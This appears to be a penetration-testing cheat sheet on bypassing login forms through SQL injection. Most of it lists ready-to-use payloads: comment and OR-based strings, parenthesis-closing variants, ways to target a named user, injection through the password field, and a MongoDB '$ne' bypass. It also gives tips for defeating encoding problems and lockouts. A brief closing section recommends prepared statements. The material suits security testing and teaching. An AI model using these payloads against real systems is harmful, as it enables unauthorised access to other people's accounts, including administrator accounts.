SQLi Authentication Bypass
Login forms typically build a query like:
SELECT * FROM users WHERE username = '<INPUT>' AND password = '<INPUT>';Goal: make the WHERE clause evaluate to true regardless of credentials, or comment out the password check.
Try these in the username field, leave password empty (or anything):
admin'-- -admin'#admin' OR '1'='1admin' OR 1=1-- -' OR '1'='1'-- -' OR 1=1-- -') OR ('1'='1') OR 1=1-- -"-- -" OR ""="If the application returns the first row of the users table after a successful “login” payload, you typically log in as admin (or whatever user is row 1).
Comment-based bypass
Section titled “Comment-based bypass”Comment out everything after the username:
admin'-- -Resulting query:
SELECT * FROM users WHERE username = 'admin'-- -' AND password = 'anything';The password check is now part of the comment.
Comment syntax varies by DBMS:
| DBMS | Line comment |
|---|---|
| MySQL/MariaDB | -- (note trailing space) or # |
| PostgreSQL | -- |
| MSSQL | -- |
| Oracle | -- |
| SQLite | -- |
OR-based bypass (no valid username needed)
Section titled “OR-based bypass (no valid username needed)”If you don’t know any usernames:
' OR 1=1-- -' OR '1'='1'-- -Resulting query:
SELECT * FROM users WHERE username = '' OR 1=1-- -' AND password = 'anything';This returns all users. Most apps log you in as the first row, which is typically admin because it was created first.
Bypassing parenthesised queries
Section titled “Bypassing parenthesised queries”If the query wraps conditions in parentheses, you must close them:
SELECT * FROM users WHERE (username='<INPUT>' AND id > 1) AND password = '<INPUT>';Single-quote alone causes a syntax error because the ) is unmatched. Add the closing paren:
admin')-- -') OR ('1'='1') OR 1=1) -- -If unsure how many parens, try escalating: '-- -, ')-- -, '))-- -.
Targeting a specific user
Section titled “Targeting a specific user”When ' OR 1=1 returns row 1 (admin) but you need a specific user (or admin isn’t row 1):
' OR username='target_user'-- -' OR id=5-- -Used when you can enumerate user IDs but not authenticate. The OR is critical - AND would require knowing the password.
When the password field is the injection point
Section titled “When the password field is the injection point”If the username field is filtered or hashed but the password is concatenated raw:
Username: any_real_userPassword: ' OR '1'='1Less common - many apps hash the password before substituting it into the query, which neutralises injection. Test both fields independently.
NoSQL equivalent
Section titled “NoSQL equivalent”MongoDB-backed login forms use a different bypass - see NoSQL injection. Quick test for JSON-based logins:
{"username": "admin", "password": {"$ne": null}}Common failure modes
Section titled “Common failure modes”- Same payload works in browser but not via proxy - proxy is sending unencoded characters. URL-encode the payload.
- Payload returns HTTP 200 but no login - application uses a different query for auth than what you assumed (e.g., it counts rows and requires exactly 1). Try payloads that return one row:
admin'-- -instead of' OR 1=1-- -. - Login succeeds but session is rejected on next request - application stores the user ID separately and validates it. The injection logged you in as a non-existent user. Use
admin'-- -or another payload that authenticates as a real user. - Account lockout triggers - rate-limit your attempts. Some apps lock the account after N failed logins regardless of how the failure occurred.
Defence reference
Section titled “Defence reference”Parameterised queries make this entire class of attack impossible. If you find an auth bypass, the fix is always “use prepared statements” - never blocklist characters.